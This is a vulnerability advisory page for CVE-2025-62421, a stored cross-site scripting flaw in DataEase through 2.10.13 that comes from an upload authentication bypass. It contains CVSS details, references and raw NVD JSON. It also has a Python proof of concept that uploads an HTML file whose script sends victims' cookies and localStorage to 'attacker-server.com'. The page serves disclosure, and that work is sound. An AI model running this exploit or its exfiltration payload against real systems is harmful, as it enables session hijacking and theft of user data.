CVE-2025-62421

Description

DataEase is a data visualization and analytics platform. In DataEase versions through 2.10.13, a stored cross-site scripting vulnerability exists due to improper file upload validation and authentication bypass. The StaticResourceApi interface defines a route upload/{fileId} that uses a URL path parameter where both the filename and extension of uploaded files are controllable by users. During permission validation, the TokenFilter invokes the WhitelistUtils#match method to determine if the URL path is in the allowlist. If the requestURI ends with .js or similar extensions, it is directly deemed safe and bypasses permission checks. This allows an attacker to access "upload/1.js" while specifying arbitrary file extensions, enabling the upload of HTML files containing malicious JavaScript. The vulnerability is fixed in version 2.10.14. No known workarounds exist.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:dataease:dataease:*:*:*:*:*:*:*:* - VULNERABLE

DataEase <= 2.10.13

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-62421 PoC - DataEase Stored XSS via File Upload Authentication Bypass
# Affected: DataEase <= 2.10.13
# Fixed in: 2.10.14

import requests

TARGET = "http://target-dataease-instance:8081"
UPLOAD_URL = f"{TARGET}/staticResource/upload/1.js"

# Step 1: Craft malicious HTML content with JavaScript payload
malicious_html = """<html>
<head><title>Legitimate Resource</title></head>
<body>
<h1>Document</h1>
<script>
    // Steal cookies and session information
    var img = new Image();
    img.src = "http://attacker-server.com/steal?cookie=" + document.cookie;
    // Exfiltrate local storage
    for (var i = 0; i < localStorage.length; i++) {
        var key = localStorage.key(i);
        new Image().src = "http://attacker-server.com/steal?localStorage_" + key + "=" + localStorage.getItem(key);
    }
</script>
</body>
</html>"""

# Step 2: Upload malicious file - URL path uses .js to bypass whitelist check
# but the actual file content will be served as HTML
headers = {
    "Content-Type": "application/octet-stream",
    "Authorization": "Bearer <attacker_token>"
}

# The fileId parameter controls the stored filename; using .js extension
# bypasses the WhitelistUtils#match permission check
files = {
    "file": ("1.js", malicious_html, "text/html")
}

response = requests.post(UPLOAD_URL, files=files, headers=headers)
print(f"Upload Status: {response.status_code}")

# Step 3: The malicious file is now stored and accessible
# When victim visits the URL, the HTML/JS executes in their browser
malicious_url = f"{TARGET}/staticResource/upload/1.js"
print(f"Malicious URL: {malicious_url}")
print("Victims visiting this URL will execute the embedded JavaScript payload.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-62421
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-62421
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-62421/
[4] VulDB https://vuldb.com/cve/CVE-2025-62421
[5] https://github.com/dataease/dataease/security/advisories/GHSA-2wmv-rr3p-pf43

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-62421", "sourceIdentifier": "[email protected]", "published": "2025-10-17T18:15:37.600", "lastModified": "2025-10-24T13:10:14.197", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "DataEase is a data visualization and analytics platform. In DataEase versions through 2.10.13, a stored cross-site scripting vulnerability exists due to improper file upload validation and authentication bypass. The StaticResourceApi interface defines a route upload/{fileId} that uses a URL path parameter where both the filename and extension of uploaded files are controllable by users. During permission validation, the TokenFilter invokes the WhitelistUtils#match method to determine if the URL path is in the allowlist. If the requestURI ends with .js or similar extensions, it is directly deemed safe and bypasses permission checks. This allows an attacker to access \"upload/1.js\" while specifying arbitrary file extensions, enabling the upload of HTML files containing malicious JavaScript. The vulnerability is fixed in version 2.10.14. No known workarounds exist."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dataease:dataease:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.10.14", "matchCriteriaId": "A61426A2-1A80-4988-BB10-6ACCC38166C6"}]}]}], "references": [{"url": "https://github.com/dataease/dataease/security/advisories/GHSA-2wmv-rr3p-pf43", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}